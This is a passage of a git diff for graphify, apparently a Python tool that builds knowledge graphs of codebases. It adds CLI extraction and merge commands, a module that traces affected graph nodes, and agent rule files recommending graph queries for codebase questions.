elif cmd == "extract": + # Headless full-pipeline extraction for CI / scripts (#698). + # Runs detect -> AST extraction on code -> semantic LLM extraction on + # docs/papers/images -> merge -> build -> cluster -> write outputs. + # Unlike the skill.md path (which runs through Claude Code subagents), + # this calls extract_corpus_parallel directly using whichever backend + # has an API key set. + if len(sys.argv) < 3: + print( + "Usage: graphify extract [--backend gemini|kimi|claude|openai|deepseek|ollama] " + "[--model M] [--mode deep] [--out DIR] [--google-workspace] [--no-cluster] " + "[--max-workers N] [--token-budget N] [--max-concurrency N] " + "[--api-timeout S] [--postgres DSN]", + file=sys.stderr, + ) + sys.exit(1) + + has_path = True + if sys.argv[2].startswith("-"): + has_path = False + target = Path(".").resolve() + else: + target = Path(sys.argv[2]).resolve() + if not target.exists(): + print(f"error: path not found: {target}", file=sys.stderr) + sys.exit(1) + + backend: str | None = None + model: str | None = None + extract_mode: str | None = None + out_dir: Path | None = None + cli_postgres_dsn: str | None = None + no_cluster = False + dedup_llm = False + google_workspace = False + global_merge = False + global_repo_tag: str | None = None + # Performance/tuning knobs (issue #792). None means "use library default". + cli_max_workers: int | None = None + cli_token_budget: int | None = None + cli_max_concurrency: int | None = None + cli_api_timeout: float | None = None + # Clustering tuning knobs + cli_resolution: float = 1.0 + cli_exclude_hubs: float | None = None + cli_excludes: list[str] = [] + + def _parse_int(name: str, raw: str) -> int: + try: + v = int(raw) + except ValueError: + print(f"error: {name} must be a positive integer (got {raw!r})", file=sys.stderr) + sys.exit(2) + if v <= 0: + print(f"error: {name} must be > 0 (got {v})", file=sys.stderr) + sys.exit(2) + return v + + def _parse_float(name: str, raw: str) -> float: + try: + v = float(raw) + except ValueError: + print(f"error: {name} must be a positive number (got {raw!r})", file=sys.stderr) + sys.exit(2) + if v <= 0: + print(f"error: {name} must be > 0 (got {v})", file=sys.stderr) + sys.exit(2) + return v + + args = sys.argv[3:] if has_path else sys.argv[2:] + i = 0 + while i < len(args): + a = args[i] + if a == "--backend" and i + 1 < len(args): + backend = args[i + 1]; i += 2 + elif a.startswith("--backend="): + backend = a.split("=", 1)[1]; i += 1 + elif a == "--model" and i + 1 < len(args): + model = args[i + 1]; i += 2 + elif a.startswith("--model="): + model = a.split("=", 1)[1]; i += 1 + elif a == "--mode" and i + 1 < len(args): + extract_mode = args[i + 1]; i += 2 + elif a.startswith("--mode="): + extract_mode = a.split("=", 1)[1]; i += 1 + elif a == "--out" and i + 1 < len(args): + out_dir = Path(args[i + 1]); i += 2 + elif a.startswith("--out="): + out_dir = Path(a.split("=", 1)[1]); i += 1 + elif a == "--no-cluster": + no_cluster = True; i += 1 + elif a == "--dedup-llm": + dedup_llm = True; i += 1 + elif a == "--google-workspace": + google_workspace = True; i += 1 + elif a == "--global": + global_merge = True; i += 1 + elif a == "--as" and i + 1 < len(args): + global_repo_tag = args[i + 1]; i += 2 + elif a == "--max-workers" and i + 1 < len(args): + cli_max_workers = _parse_int("--max-workers", args[i + 1]); i += 2 + elif a.startswith("--max-workers="): + cli_max_workers = _parse_int("--max-workers", a.split("=", 1)[1]); i += 1 + elif a == "--token-budget" and i + 1 < len(args): + cli_token_budget = _parse_int("--token-budget", args[i + 1]); i += 2 + elif a.startswith("--token-budget="): + cli_token_budget = _parse_int("--token-budget", a.split("=", 1)[1]); i += 1 + elif a == "--max-concurrency" and i + 1 < len(args): + cli_max_concurrency = _parse_int("--max-concurrency", args[i + 1]); i += 2 + elif a.startswith("--max-concurrency="): + cli_max_concurrency = _parse_int("--max-concurrency", a.split("=", 1)[1]); i += 1 + elif a == "--api-timeout" and i + 1 < len(args): + cli_api_timeout = _parse_float("--api-timeout", args[i + 1]); i += 2 + elif a.startswith("--api-timeout="): + cli_api_timeout = _parse_float("--api-timeout", a.split("=", 1)[1]); i += 1 + elif a == "--resolution" and i + 1 < len(args): + cli_resolution = _parse_float("--resolution", args[i + 1]); i += 2 + elif a.startswith("--resolution="): + cli_resolution = _parse_float("--resolution", a.split("=", 1)[1]); i += 1 + elif a == "--exclude-hubs" and i + 1 < len(args): + cli_exclude_hubs = float(args[i + 1]); i += 2 + elif a.startswith("--exclude-hubs="): + cli_exclude_hubs = float(a.split("=", 1)[1]); i += 1 + elif a == "--exclude" and i + 1 < len(args): + cli_excludes.append(args[i + 1]); i += 2 + elif a.startswith("--exclude="): + cli_excludes.append(a.split("=", 1)[1]); i += 1 + elif a == "--postgres" and i + 1 < len(args): + cli_postgres_dsn = args[i + 1]; i += 2 + elif a.startswith("--postgres="): + cli_postgres_dsn = a.split("=", 1)[1]; i += 1 + else: + i += 1 + + if not has_path and cli_postgres_dsn is None: + print("error: must specify a path to scan or a --postgres DSN", file=sys.stderr) + sys.exit(1) + + _VALID_MODES = {"deep"} + if extract_mode is not None and extract_mode not in _VALID_MODES: + print( + f"error: unknown --mode '{extract_mode}'. " + f"Available: {', '.join(sorted(_VALID_MODES))}", + file=sys.stderr, + ) + sys.exit(2) + deep_mode = extract_mode == "deep" + if deep_mode: + print("[graphify extract] deep mode enabled: richer semantic extraction") + + # CLI flag wins over env var. Setting GRAPHIFY_API_TIMEOUT here so + # _call_openai_compat picks it up without needing a new kwarg path. + if cli_api_timeout is not None: + os.environ["GRAPHIFY_API_TIMEOUT"] = str(cli_api_timeout) + if cli_max_workers is not None: + os.environ["GRAPHIFY_MAX_WORKERS"] = str(cli_max_workers) + + # Resolve output dir. The user-facing contract is "/graphify-out/" + # so a fresh checkout writes graphify-out/ at the project root, matching + # the skill.md pipeline. + out_root = (out_dir.resolve() if out_dir else target) + graphify_out = out_root / "graphify-out" + graphify_out.mkdir(parents=True, exist_ok=True) + + from graphify.detect import ( + detect as _detect, + detect_incremental as _detect_incremental, + save_manifest as _save_manifest, + ) + manifest_path = graphify_out / "manifest.json" + existing_graph_path = graphify_out / "graph.json" + incremental_mode = manifest_path.exists() and existing_graph_path.exists() if has_path else False + + if not has_path: + code_files = [] + doc_files = [] + paper_files = [] + image_files = [] + deleted_files = [] + unchanged_total = 0 + files_by_type = {} + elif incremental_mode: + print(f"[graphify extract] incremental scan of {target}") + detection = _detect_incremental( + target, + manifest_path=str(manifest_path), + google_workspace=google_workspace or None, + extra_excludes=cli_excludes or None, + ) + files_by_type = detection.get("files", {}) + new_by_type = detection.get("new_files", {}) + code_files = [Path(p) for p in new_by_type.get("code", [])] + doc_files = [Path(p) for p in new_by_type.get("document", [])] + paper_files = [Path(p) for p in new_by_type.get("paper", [])] + image_files = [Path(p) for p in new_by_type.get("image", [])] + deleted_files = list(detection.get("deleted_files", [])) + unchanged_total = sum(len(v) for v in detection.get("unchanged_files", {}).values()) + else: + print(f"[graphify extract] scanning {target}") + detection = _detect(target, google_workspace=google_workspace or None, extra_excludes=cli_excludes or None) + files_by_type = detection.get("files", {}) + code_files = [Path(p) for p in files_by_type.get("code", [])] + doc_files = [Path(p) for p in files_by_type.get("document", [])] + paper_files = [Path(p) for p in files_by_type.get("paper", [])] + image_files = [Path(p) for p in files_by_type.get("image", [])] + deleted_files = [] + unchanged_total = 0 + + semantic_files = doc_files + paper_files + image_files + if incremental_mode: + print( + f"[graphify extract] {len(code_files)} code, {len(doc_files)} docs, " + f"{len(paper_files)} papers, {len(image_files)} images changed; " + f"{unchanged_total} unchanged; {len(deleted_files)} deleted" + ) + else: + print( + f"[graphify extract] found {len(code_files)} code, " + f"{len(doc_files)} docs, {len(paper_files)} papers, " + f"{len(image_files)} images" + ) + + # Resolve the LLM backend only now that we know whether the corpus + # needs one. A code-only corpus is pure local AST and must not require + # an API key; the key is enforced below only when there's LLM work. + from graphify.llm import ( + BACKENDS as _BACKENDS, + detect_backend as _detect_backend, + estimate_cost as _estimate_cost, + extract_corpus_parallel as _extract_corpus_parallel, + _format_backend_env_keys, + _get_backend_api_key, + ) + needs_llm = bool(semantic_files) or dedup_llm + if backend is None and needs_llm: + backend = _detect_backend() + if backend is not None and backend not in _BACKENDS: + print( + f"error: unknown backend '{backend}'. " + f"Available: {', '.join(sorted(_BACKENDS))}", + file=sys.stderr, + ) + sys.exit(1) + if needs_llm: + if backend is None: + reasons = [] + if semantic_files: + reasons.append( + f"{len(semantic_files)} doc/paper/image file(s) need semantic extraction" + ) + if dedup_llm: + reasons.append("--dedup-llm was passed") + print( + "error: no LLM API key found (" + "; ".join(reasons) + "). " + "Set GEMINI_API_KEY or GOOGLE_API_KEY (gemini), MOONSHOT_API_KEY " + "(kimi), ANTHROPIC_API_KEY (claude), OPENAI_API_KEY (openai), " + "DEEPSEEK_API_KEY (deepseek), or pass --backend. A code-only " + "corpus needs no key.", + file=sys.stderr, + ) + sys.exit(1) + if backend == "ollama": + from graphify.llm import _validate_ollama_base_url + _oll_url = os.environ.get("OLLAMA_BASE_URL", _BACKENDS["ollama"].get("base_url", "")) + try: + _validate_ollama_base_url(_oll_url, warn=False) + except ValueError as exc: + print(f"error: {exc}", file=sys.stderr) + sys.exit(2) + if not _get_backend_api_key(backend): + allow_no_key = False + if backend == "ollama": + from urllib.parse import urlparse + ollama_url = os.environ.get( + "OLLAMA_BASE_URL", + _BACKENDS["ollama"].get("base_url", ""), + ) + try: + host = (urlparse(ollama_url).hostname or "").lower() + except Exception: + host = "" + allow_no_key = ( + host in ("localhost", "127.0.0.1", "::1") + or host.startswith("127.") + ) + elif backend == "bedrock": + allow_no_key = bool( + os.environ.get("AWS_PROFILE") + or os.environ.get("AWS_REGION") + or os.environ.get("AWS_DEFAULT_REGION") + or os.environ.get("AWS_ACCESS_KEY_ID") + ) + elif backend == "claude-cli": + import shutil as _shutil + allow_no_key = _shutil.which("claude") is not None + if not allow_no_key: + print( + "error: backend 'claude-cli' requires the `claude` CLI on $PATH " + "(install Claude Code and run `claude` once to authenticate).", + file=sys.stderr, + ) + sys.exit(1) + if not allow_no_key: + print( + f"error: backend '{backend}' requires {_format_backend_env_keys(backend)} to be set.", + file=sys.stderr, + ) + sys.exit(1) + + # AST extraction on code files. Empty code list (docs-only corpus) is + # the issue #698 case — skip cleanly instead of crashing inside extract(). + ast_result: dict = {"nodes": [], "edges": [], "input_tokens": 0, "output_tokens": 0} + if code_files: + from graphify.extract import extract as _ast_extract + ast_kwargs: dict = {"cache_root": target} + if cli_max_workers is not None: + ast_kwargs["max_workers"] = cli_max_workers + print(f"[graphify extract] AST extraction on {len(code_files)} code files...") + try: + ast_result = _ast_extract(code_files, **ast_kwargs) + except Exception as exc: + print(f"[graphify extract] AST extraction failed: {exc}", file=sys.stderr) + ast_result = {"nodes": [], "edges": [], "input_tokens": 0, "output_tokens": 0} + + # Semantic extraction on docs/papers/images. Check cache first. + from graphify.cache import ( + check_semantic_cache as _check_semantic_cache, + save_semantic_cache as _save_semantic_cache, + ) + sem_result: dict = { + "nodes": [], "edges": [], "hyperedges": [], + "input_tokens": 0, "output_tokens": 0, + } + sem_cache_hits = 0 + sem_cache_misses = 0 + if semantic_files: + sem_paths_str = [str(p) for p in semantic_files] + cached_nodes, cached_edges, cached_hyperedges, uncached_paths = ( + _check_semantic_cache(sem_paths_str, root=target) + ) + sem_cache_hits = len(semantic_files) - len(uncached_paths) + sem_cache_misses = len(uncached_paths) + sem_result["nodes"].extend(cached_nodes) + sem_result["edges"].extend(cached_edges) + sem_result["hyperedges"].extend(cached_hyperedges) + if sem_cache_hits: + print(f"[graphify extract] semantic cache: {sem_cache_hits} hit / {sem_cache_misses} miss") + + if uncached_paths: + print(f"[graphify extract] semantic extraction on {len(uncached_paths)} files via {backend}...") + corpus_kwargs: dict = { + "backend": backend, + "model": model, + "root": target, + } + if deep_mode: + corpus_kwargs["deep_mode"] = True + if cli_token_budget is not None: + corpus_kwargs["token_budget"] = cli_token_budget + if cli_max_concurrency is not None: + corpus_kwargs["max_concurrency"] = cli_max_concurrency + + # Minimal progress callback so the CLI is no longer silent + # during long local-inference runs (issue #792 addendum). + # Also track per-chunk success so we can fail loudly when + # every chunk errors (e.g. missing backend SDK package). + _chunk_stats = {"total": 0, "succeeded": 0} + def _progress(idx: int, total: int, _result: dict) -> None: + _chunk_stats["total"] = total + _chunk_stats["succeeded"] += 1 + print( + f"[graphify extract] chunk {idx + 1}/{total} done", + flush=True, + ) + corpus_kwargs["on_chunk_done"] = _progress + + try: + fresh = _extract_corpus_parallel( + [Path(p) for p in uncached_paths], + **corpus_kwargs, + ) + except ImportError as exc: + print(f"error: {exc}", file=sys.stderr) + sys.exit(1) + except Exception as exc: + print( + f"[graphify extract] semantic extraction failed: {exc}", + file=sys.stderr, + ) + fresh = {"nodes": [], "edges": [], "hyperedges": [], "input_tokens": 0, "output_tokens": 0} + + # on_chunk_done only fires after a chunk succeeds. If fresh + # semantic extraction was requested and no chunks completed, + # fail instead of writing an AST-only graph with exit 0. + if uncached_paths and _chunk_stats["succeeded"] == 0: + print( + f"[graphify extract] error: all semantic chunks failed " + f"for backend '{backend}' ({len(uncached_paths)} uncached files) - " + f"see per-chunk errors above. If you see 'requires the X package', " + f"run `pip install X` and retry.", + file=sys.stderr, + ) + sys.exit(1) + try: + _save_semantic_cache( + fresh.get("nodes", []), + fresh.get("edges", []), + fresh.get("hyperedges", []), + root=target, + ) + except Exception as exc: + print(f"[graphify extract] warning: could not write semantic cache: {exc}", file=sys.stderr) + sem_result["nodes"].extend(fresh.get("nodes", [])) + sem_result["edges"].extend(fresh.get("edges", [])) + sem_result["hyperedges"].extend(fresh.get("hyperedges", [])) + sem_result["input_tokens"] += fresh.get("input_tokens", 0) + sem_result["output_tokens"] += fresh.get("output_tokens", 0) + + pg_result: dict = {"nodes": [], "edges": []} + if cli_postgres_dsn is not None: + from graphify.pg_introspect import introspect_postgres + print(f"[graphify extract] introspecting PostgreSQL schema...") + try: + pg_result = introspect_postgres(cli_postgres_dsn) + except (ConnectionError, ImportError) as exc: + print(f"error: {exc}", file=sys.stderr) + sys.exit(1) + print(f"[graphify extract] PostgreSQL: {len(pg_result['nodes'])} nodes, " + f"{len(pg_result['edges'])} edges") + + # Merge AST + semantic + pg_result. Order matters for deduplication: passing AST + # first means semantic node attributes win on collision (richer labels + # for symbols also referenced in docs). Hyperedges only come from the + # semantic side. + merged: dict = { + "nodes": list(ast_result.get("nodes", [])) + list(sem_result.get("nodes", [])) + list(pg_result.get("nodes", [])), + "edges": list(ast_result.get("edges", [])) + list(sem_result.get("edges", [])) + list(pg_result.get("edges", [])), + "hyperedges": list(sem_result.get("hyperedges", [])), + "input_tokens": ast_result.get("input_tokens", 0) + sem_result.get("input_tokens", 0), + "output_tokens": ast_result.get("output_tokens", 0) + sem_result.get("output_tokens", 0), + } + + graph_json_path = graphify_out / "graph.json" + analysis_path = graphify_out / ".graphify_analysis.json" + + # Build a manifest-safe files dict: only stamp semantic_hash for files + # that actually produced output (cache hit or fresh extraction). Files + # whose chunk failed have no source_file entry in sem_result — leaving + # their semantic_hash empty so detect_incremental re-queues them (#933). + _sem_extracted: set[str] = { + n.get("source_file", "") for n in sem_result.get("nodes", []) + } | { + e.get("source_file", "") for e in sem_result.get("edges", []) + } + _sem_extracted.discard("") + _sem_types = {"document", "paper", "image"} + _manifest_files = { + ftype: [f for f in flist if ftype not in _sem_types or f in _sem_extracted] + for ftype, flist in files_by_type.items() + } + + if no_cluster: + # --no-cluster: dump the raw merged extraction as graph.json. + # No NetworkX, no community detection, no analysis sidecar. + from graphify.export import backup_if_protected as _backup + _backup(graphify_out) + graph_json_path.write_text( + json.dumps(merged, indent=2), encoding="utf-8" + ) + cost = _estimate_cost( + backend, merged["input_tokens"], merged["output_tokens"] + ) + print( + f"[graphify extract] wrote {graph_json_path} — " + f"{len(merged['nodes'])} nodes, {len(merged['edges'])} edges " + f"(no clustering)" + ) + if merged["input_tokens"] or merged["output_tokens"]: + print( + f"[graphify extract] tokens: " + f"{merged['input_tokens']:,} in / " + f"{merged['output_tokens']:,} out, " + f"est. cost: ${cost:.4f}" + ) + try: + _save_manifest(_manifest_files, manifest_path=str(manifest_path), kind="both", root=target) + except Exception as exc: + print(f"[graphify extract] warning: could not write manifest: {exc}", file=sys.stderr) + if global_merge: + from graphify.global_graph import global_add as _global_add + _tag = global_repo_tag or target.name + try: + result = _global_add(graphify_out / "graph.json", _tag) + if result["skipped"]: + print(f"[graphify global] '{_tag}' unchanged since last add - skipped.") + else: + print(f"[graphify global] '{_tag}' merged into global graph " + f"(+{result['nodes_added']} nodes, -{result['nodes_removed']} pruned).") + except Exception as exc: + print(f"[graphify global] warning: failed to merge into global graph: {exc}", file=sys.stderr) + sys.exit(0) + + # Build graph + cluster + score + write. + from graphify.build import ( + build as _build, + build_from_json as _build_from_json, + build_merge as _build_merge, + ) + from graphify.cluster import cluster as _cluster, score_all as _score_all + from graphify.export import to_json as _to_json + from graphify.analyze import god_nodes as _god_nodes, surprising_connections as _surprising + dedup_backend = backend if dedup_llm else None + if incremental_mode: + G = _build_merge( + [merged], + graph_path=existing_graph_path, + prune_sources=deleted_files or None, + dedup=True, + dedup_llm_backend=dedup_backend, + root=target, + ) + else: + G = _build([merged], dedup=True, dedup_llm_backend=dedup_backend, root=target) + if G.number_of_nodes() == 0: + print( + "[graphify extract] graph is empty — extraction produced no nodes. " + "Possible causes: all files skipped, binary-only corpus, or LLM " + "returned no edges.", + file=sys.stderr, + ) + sys.exit(1) + + communities = _cluster(G, resolution=cli_resolution, exclude_hubs_percentile=cli_exclude_hubs) + cohesion = _score_all(G, communities) + try: + gods = _god_nodes(G) + except Exception: + gods = [] + try: + surprises = _surprising(G, communities) + except Exception: + surprises = [] + + from graphify.export import backup_if_protected as _backup + _backup(graphify_out) + _to_json(G, communities, str(graph_json_path), force=True) + if merged.get("output_tokens", 0) > 0: + (graphify_out / ".graphify_semantic_marker").write_text( + json.dumps({"output_tokens": merged["output_tokens"]}), encoding="utf-8" + ) + if global_merge: + from graphify.global_graph import global_add as _global_add + _tag = global_repo_tag or target.name + try: + result = _global_add(graphify_out / "graph.json", _tag) + if result["skipped"]: + print(f"[graphify global] '{_tag}' unchanged since last add - skipped.") + else: + print(f"[graphify global] '{_tag}' merged into global graph " + f"(+{result['nodes_added']} nodes, -{result['nodes_removed']} pruned).") + except Exception as exc: + print(f"[graphify global] warning: failed to merge into global graph: {exc}", file=sys.stderr) + analysis = { + "communities": {str(k): v for k, v in communities.items()}, + "cohesion": {str(k): v for k, v in cohesion.items()}, + "gods": gods, + "surprises": surprises, + "tokens": { + "input": merged["input_tokens"], + "output": merged["output_tokens"], + }, + } + analysis_path.write_text(json.dumps(analysis, indent=2), encoding="utf-8") + try: + _save_manifest(_manifest_files, manifest_path=str(manifest_path), kind="both", root=target) + except Exception as exc: + print(f"[graphify extract] warning: could not write manifest: {exc}", file=sys.stderr) + + cost = _estimate_cost(backend, merged["input_tokens"], merged["output_tokens"]) + print( + f"[graphify extract] wrote {graph_json_path}: " + f"{G.number_of_nodes()} nodes, {G.number_of_edges()} edges, " + f"{len(communities)} communities" + ) + print(f"[graphify extract] wrote {analysis_path}") + if incremental_mode: + print( + f"[graphify extract] incremental summary: " + f"{sem_cache_hits + unchanged_total} files cached/unchanged, " + f"{len(code_files) + sem_cache_misses} re-extracted, " + f"{len(deleted_files)} deleted" + ) + elif sem_cache_hits: + print(f"[graphify extract] semantic cache: {sem_cache_hits} cached, {sem_cache_misses} re-extracted") + if merged["input_tokens"] or merged["output_tokens"]: + print( + f"[graphify extract] tokens: " + f"{merged['input_tokens']:,} in / " + f"{merged['output_tokens']:,} out, " + f"est. cost (~{backend}): ${cost:.4f}" + ) + # extract intentionally stops at graph.json + analysis; the report and + # community labels are produced by `cluster-only` (or an agent's Step 5). + # Point standalone users at it so communities get named (#1097). + print( + "[graphify extract] next: run " + f"`graphify cluster-only {graphify_out.parent}` " + "to generate GRAPH_REPORT.md and name communities" + ) + + elif cmd == "cache-check": + # graphify cache-check [--root ] + # Reads file paths (one per line) from , checks semantic cache. + # Writes: + # graphify-out/.graphify_cached.json — already-cached nodes/edges/hyperedges + # graphify-out/.graphify_uncached.txt — paths that need extraction + # Stdout: "Cache: N hit, M miss" + from graphify.cache import check_semantic_cache + if len(sys.argv) < 3: + print("Usage: graphify cache-check [--root ]", file=sys.stderr) + sys.exit(1) + files_from = Path(sys.argv[2]) + root = Path(".") + i = 3 + while i < len(sys.argv): + if sys.argv[i] == "--root" and i + 1 < len(sys.argv): + root = Path(sys.argv[i + 1]) + i += 2 + else: + i += 1 + files = [f for f in files_from.read_text(encoding="utf-8").splitlines() if f.strip()] + cached_nodes, cached_edges, cached_hyperedges, uncached = check_semantic_cache(files, root) + out = root / "graphify-out" + out.mkdir(parents=True, exist_ok=True) + if cached_nodes or cached_edges or cached_hyperedges: + (out / ".graphify_cached.json").write_text( + json.dumps({"nodes": cached_nodes, "edges": cached_edges, "hyperedges": cached_hyperedges}, + ensure_ascii=False), + encoding="utf-8", + ) + (out / ".graphify_uncached.txt").write_text("\n".join(uncached), encoding="utf-8") + print(f"Cache: {len(files) - len(uncached)} hit, {len(uncached)} miss") + + elif cmd == "merge-chunks": + # graphify merge-chunks --out + # Concatenates .graphify_chunk_*.json files written by semantic subagents. + # Deduplicates nodes by id (first writer wins). Sums token counts. + import glob as _glob + if len(sys.argv) < 3: + print("Usage: graphify merge-chunks --out ", file=sys.stderr) + sys.exit(1) + out_path: Path | None = None + chunk_args: list[str] = [] + i = 2 + while i < len(sys.argv): + if sys.argv[i] == "--out" and i + 1 < len(sys.argv): + out_path = Path(sys.argv[i + 1]) + i += 2 + else: + chunk_args.append(sys.argv[i]) + i += 1 + if not out_path: + print("error: --out required", file=sys.stderr) + sys.exit(1) + chunk_files: list[str] = [] + for arg in chunk_args: + expanded = _glob.glob(arg) + chunk_files.extend(sorted(expanded) if expanded else [arg]) + merged: dict = {"nodes": [], "edges": [], "hyperedges": [], "input_tokens": 0, "output_tokens": 0} + seen_ids: set[str] = set() + for cf in chunk_files: + try: + chunk = json.loads(Path(cf).read_text(encoding="utf-8")) + except (json.JSONDecodeError, OSError) as exc: + print(f"[graphify merge-chunks] warning: skipping {cf}: {exc}", file=sys.stderr) + continue + for n in chunk.get("nodes", []): + if n.get("id") not in seen_ids: + seen_ids.add(n["id"]) + merged["nodes"].append(n) + merged["edges"].extend(chunk.get("edges", [])) + merged["hyperedges"].extend(chunk.get("hyperedges", [])) + merged["input_tokens"] += chunk.get("input_tokens", 0) + merged["output_tokens"] += chunk.get("output_tokens", 0) + out_path.parent.mkdir(parents=True, exist_ok=True) + out_path.write_text(json.dumps(merged, ensure_ascii=False), encoding="utf-8") + print( + f"Merged {len(chunk_files)} chunks: {merged['nodes']} nodes, {len(merged['edges'])} edges, " + f"{merged['input_tokens']:,} in / {merged['output_tokens']:,} out tokens" + ) + + elif cmd == "merge-semantic": + # graphify merge-semantic --cached --new --out + # Merges cached semantic results with freshly-extracted chunk results. + # Deduplicates nodes by id (cached entries take priority over new ones). + if len(sys.argv) < 3: + print("Usage: graphify merge-semantic --cached --new --out ", file=sys.stderr) + sys.exit(1) + cached_path: Path | None = None + new_path: Path | None = None + out_path2: Path | None = None + i = 2 + while i < len(sys.argv): + if sys.argv[i] == "--cached" and i + 1 < len(sys.argv): + cached_path = Path(sys.argv[i + 1]); i += 2 + elif sys.argv[i] == "--new" and i + 1 < len(sys.argv): + new_path = Path(sys.argv[i + 1]); i += 2 + elif sys.argv[i] == "--out" and i + 1 < len(sys.argv): + out_path2 = Path(sys.argv[i + 1]); i += 2 + else: + i += 1 + if not out_path2: + print("error: --out required", file=sys.stderr) + sys.exit(1) + empty: dict = {"nodes": [], "edges": [], "hyperedges": []} + cached_data = json.loads(cached_path.read_text(encoding="utf-8")) if cached_path and cached_path.exists() else empty + new_data = json.loads(new_path.read_text(encoding="utf-8")) if new_path and new_path.exists() else empty + seen_ids2: set[str] = set() + all_nodes: list[dict] = [] + for n in cached_data.get("nodes", []) + new_data.get("nodes", []): + if n.get("id") not in seen_ids2: + seen_ids2.add(n["id"]) + all_nodes.append(n) + merged2 = { + "nodes": all_nodes, + "edges": cached_data.get("edges", []) + new_data.get("edges", []), + "hyperedges": cached_data.get("hyperedges", []) + new_data.get("hyperedges", []), + } + out_path2.parent.mkdir(parents=True, exist_ok=True) + out_path2.write_text(json.dumps(merged2, ensure_ascii=False), encoding="utf-8") + print(f"Merged: {len(merged2['nodes'])} nodes, {len(merged2['edges'])} edges") + + elif Path(cmd).exists() or cmd in (".", "..") or cmd.startswith(("./", "../", "/", "~")): + # User ran `graphify ` directly — treat as `graphify extract `. + # Common when following the PowerShell note in README (`graphify .`) or + # copy-pasting skill invocations without the leading slash. + sys.argv.insert(2, sys.argv[1]) + sys.argv[1] = "extract" + main() + else: + print(f"error: unknown command '{cmd}'", file=sys.stderr) + print("Run 'graphify --help' for usage.", file=sys.stderr) + sys.exit(1) + + +if __name__ == "__main__": + main() diff --git a/skills/graphify/affected.py b/skills/graphify/affected.py new file mode 100644 index 00000000..10c63187 --- /dev/null +++ b/skills/graphify/affected.py @@ -0,0 +1,154 @@ +from __future__ import annotations + +from collections import deque +from dataclasses import dataclass +from pathlib import Path +from typing import Iterable + +import networkx as nx + + +DEFAULT_AFFECTED_RELATIONS = ( + "calls", + "references", + "imports", + "imports_from", + "re_exports", + "inherits", + "extends", + "implements", + "uses", + "mixes_in", + "embeds", +) + + +@dataclass(frozen=True) +class AffectedHit: + node_id: str + depth: int + via_relation: str + + +def _node_label(graph: nx.Graph, node_id: str) -> str: + data = graph.nodes[node_id] + return str(data.get("label") or node_id) + + +def _format_location(data: dict) -> str: + source_file = data.get("source_file") or "-" + source_location = data.get("source_location") + if source_location: + return f"{source_file}:{source_location}" + return str(source_file) + + +def resolve_seed(graph: nx.Graph, query: str) -> str | None: + if query in graph: + return query + query_lower = query.lower() + exact_label_matches = [ + str(node_id) + for node_id, data in graph.nodes(data=True) + if str(data.get("label", "")).lower() == query_lower + ] + if len(exact_label_matches) == 1: + return exact_label_matches[0] + exact_source_matches = [ + str(node_id) + for node_id, data in graph.nodes(data=True) + if str(data.get("source_file", "")).lower() == query_lower + ] + if len(exact_source_matches) == 1: + return exact_source_matches[0] + contains_matches = [ + str(node_id) + for node_id, data in graph.nodes(data=True) + if query_lower in str(data.get("label", "")).lower() + ] + if len(contains_matches) == 1: + return contains_matches[0] + return None + + +def affected_nodes( + graph: nx.Graph, + seed: str, + *, + relations: Iterable[str] = DEFAULT_AFFECTED_RELATIONS, + depth: int = 2, +) -> list[AffectedHit]: + relation_set = set(relations) + seen = {seed} + queue: deque[tuple[str, int]] = deque([(seed, 0)]) + hits: list[AffectedHit] = [] + + while queue: + current, current_depth = queue.popleft() + if current_depth >= depth: + continue + if hasattr(graph, "in_edges"): + incoming = graph.in_edges(current, data=True) + else: + incoming = ( + (source, target, data) + for source, target, data in graph.edges(data=True) + if target == current + ) + for source, _target, data in incoming: + relation = str(data.get("relation", "")) + if relation not in relation_set: + continue + source = str(source) + if source in seen: + continue + seen.add(source) + hit = AffectedHit(source, current_depth + 1, relation) + hits.append(hit) + queue.append((source, current_depth + 1)) + + return hits + + +def format_affected( + graph: nx.Graph, + query: str, + *, + relations: Iterable[str] = DEFAULT_AFFECTED_RELATIONS, + depth: int = 2, +) -> str: + relation_list = tuple(relations) + seed = resolve_seed(graph, query) + if seed is None: + return f"No unique node match for {query}" + + hits = affected_nodes(graph, seed, relations=relation_list, depth=depth) + lines = [ + f"Affected nodes for {_node_label(graph, seed)}", + f"Relations: {', '.join(relation_list)}", + f"Depth: {depth}", + ] + if not hits: + lines.append("No affected nodes found.") + return "\n".join(lines) + + for hit in hits: + data = graph.nodes[hit.node_id] + lines.append( + f"- {_node_label(graph, hit.node_id)} [{hit.via_relation}] {_format_location(data)}" + ) + return "\n".join(lines) + + +def load_graph(path: Path) -> nx.Graph: + import json + from networkx.readwrite import json_graph + + raw = json.loads(path.read_text(encoding="utf-8")) + # Force directed so stored caller→callee direction survives the round-trip; + # mirrors serve.py and __main__.py (#1174). + raw = {**raw, "directed": True} + try: + return json_graph.node_link_graph(raw, edges="links") + except TypeError: + return json_graph.node_link_graph(raw) diff --git a/skills/graphify/always_on/agents-md.md b/skills/graphify/always_on/agents-md.md new file mode 100644 index 00000000..20cff728 --- /dev/null +++ b/skills/graphify/always_on/agents-md.md @@ -0,0 +1,12 @@ +## graphify + +This project has a knowledge graph at graphify-out/ with god nodes, community structure, and cross-file relationships. + +When the user types `/graphify`, invoke the `skill` tool with `skill: "graphify"` before doing anything else. + +Rules: +- For codebase questions, first run `graphify query ""` when graphify-out/graph.json exists. Use `graphify path "" ""` for relationships and `graphify explain ""` for focused concepts. These return a scoped subgraph, usually much smaller than GRAPH_REPORT.md or raw grep output. +- Dirty graphify-out/ files are expected after hooks or incremental updates; dirty graph files are not a reason to skip graphify. Only skip graphify if the task is about stale or incorrect graph output, or the user explicitly says not to use it. +- If graphify-out/wiki/index.md exists, use it for broad navigation instead of raw source browsing. +- Read graphify-out/GRAPH_REPORT.md only for broad architecture review or when query/path/explain do not surface enough context. +- After modifying code, run `graphify update .` to keep the graph current (AST-only, no API cost). diff --git a/skills/graphify/always_on/antigravity-rules.md b/skills/graphify/always_on/antigravity-rules.md new file mode 100644 index 00000000..0fc78641 --- /dev/null +++ b/skills/graphify/always_on/antigravity-rules.md @@ -0,0 +1,14 @@ +--- +trigger: always_on +description: Consult the graphify knowledge graph at graphify-out/ for codebase and architecture questions. +--- + +## graphify + +This project has a graphify knowledge graph at graphify-out/. + +Rules: +- For codebase or architecture questions, when `graphify-out/graph.json` exists, first run `graphify query ""` (CLI) or `query_graph` (MCP). Use `graphify path "" ""` / `shortest_path` for relationships and `graphify explain ""` / `get_node` for focused concepts. These return a scoped subgraph, usually much smaller than `GRAPH_REPORT.md` or raw grep output. +- If graphify-out/wiki/index.md exists, navigate it instead of reading raw files +- Read 